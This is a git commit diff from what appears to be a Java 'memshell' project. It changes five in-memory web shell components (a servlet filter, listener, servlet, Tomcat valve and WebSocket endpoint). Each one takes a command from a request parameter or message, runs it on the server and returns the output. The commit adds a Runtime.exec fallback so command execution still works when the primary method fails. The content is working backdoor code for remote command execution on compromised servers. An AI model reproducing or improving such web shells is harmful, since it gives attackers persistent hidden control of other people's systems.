fix: downgrade runtime.exec

Author: ReaJason

memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandFilter.java

@@ -33,7 +33,12 @@ public void doFilter(ServletRequest request, ServletResponse response, FilterCha
         String cmd = getParam(servletRequest.getParameter(paramName));
         try {
             if (cmd != null) {
-                InputStream inputStream = forkAndExec(cmd);
+                InputStream inputStream = null;
+                try {
+                    inputStream = forkAndExec(cmd);
+                } catch (Exception e) {
+                    inputStream = Runtime.getRuntime().exec(cmd).getInputStream();
+                }
                 ServletOutputStream outputStream = servletResponse.getOutputStream();
                 byte[] buf = new byte[8192];
                 int length;

memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandListener.java

@@ -36,7 +36,12 @@ public void requestInitialized(ServletRequestEvent servletRequestEvent) {
             String cmd = getParam(request.getParameter(paramName));
             if (cmd != null) {
                 HttpServletResponse servletResponse = this.getResponseFromRequest(request);
-                InputStream inputStream = forkAndExec(cmd);
+                InputStream inputStream = null;
+                try {
+                    inputStream = forkAndExec(cmd);
+                } catch (Exception e) {
+                    inputStream = Runtime.getRuntime().exec(cmd).getInputStream();
+                }
                 ServletOutputStream outputStream = servletResponse.getOutputStream();
                 byte[] buf = new byte[8192];
                 int length;

memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandServlet.java

@@ -33,7 +33,12 @@ protected void doPost(HttpServletRequest request, HttpServletResponse response)
         String cmd = getParam(request.getParameter(paramName));
         try {
             if (cmd != null) {
-                InputStream inputStream = forkAndExec(cmd);
+                InputStream inputStream = null;
+                try {
+                    inputStream = forkAndExec(cmd);
+                } catch (Exception e) {
+                    inputStream = Runtime.getRuntime().exec(cmd).getInputStream();
+                }
                 ServletOutputStream outputStream = response.getOutputStream();
                 byte[] buf = new byte[8192];
                 int length;

memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandValve.java

@@ -51,7 +51,12 @@ public void invoke(Request request, Response response) throws IOException, Servl
         String cmd = getParam(request.getParameter(paramName));
         try {
             if (cmd != null) {
-                InputStream inputStream = forkAndExec(cmd);
+                InputStream inputStream = null;
+                try {
+                    inputStream = forkAndExec(cmd);
+                } catch (Exception e) {
+                    inputStream = Runtime.getRuntime().exec(cmd).getInputStream();
+                }
                 ServletOutputStream outputStream = response.getOutputStream();
                 byte[] buf = new byte[8192];
                 int length;

memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandWebSocket.java

@@ -27,9 +27,14 @@ private String getParam(String param) {
     }
 
     @Override
-    public void onMessage(String s) {
+    public void onMessage(String cmd) {
         try {
-            InputStream inputStream = forkAndExec(s);
+            InputStream inputStream = null;
+            try {
+                inputStream = forkAndExec(cmd);
+            } catch (Exception e) {
+                inputStream = Runtime.getRuntime().exec(cmd).getInputStream();
+            }
             byte[] buf = new byte[8192];
             int length;
             ByteArrayOutputStream outputStream = new ByteArrayOutputStream();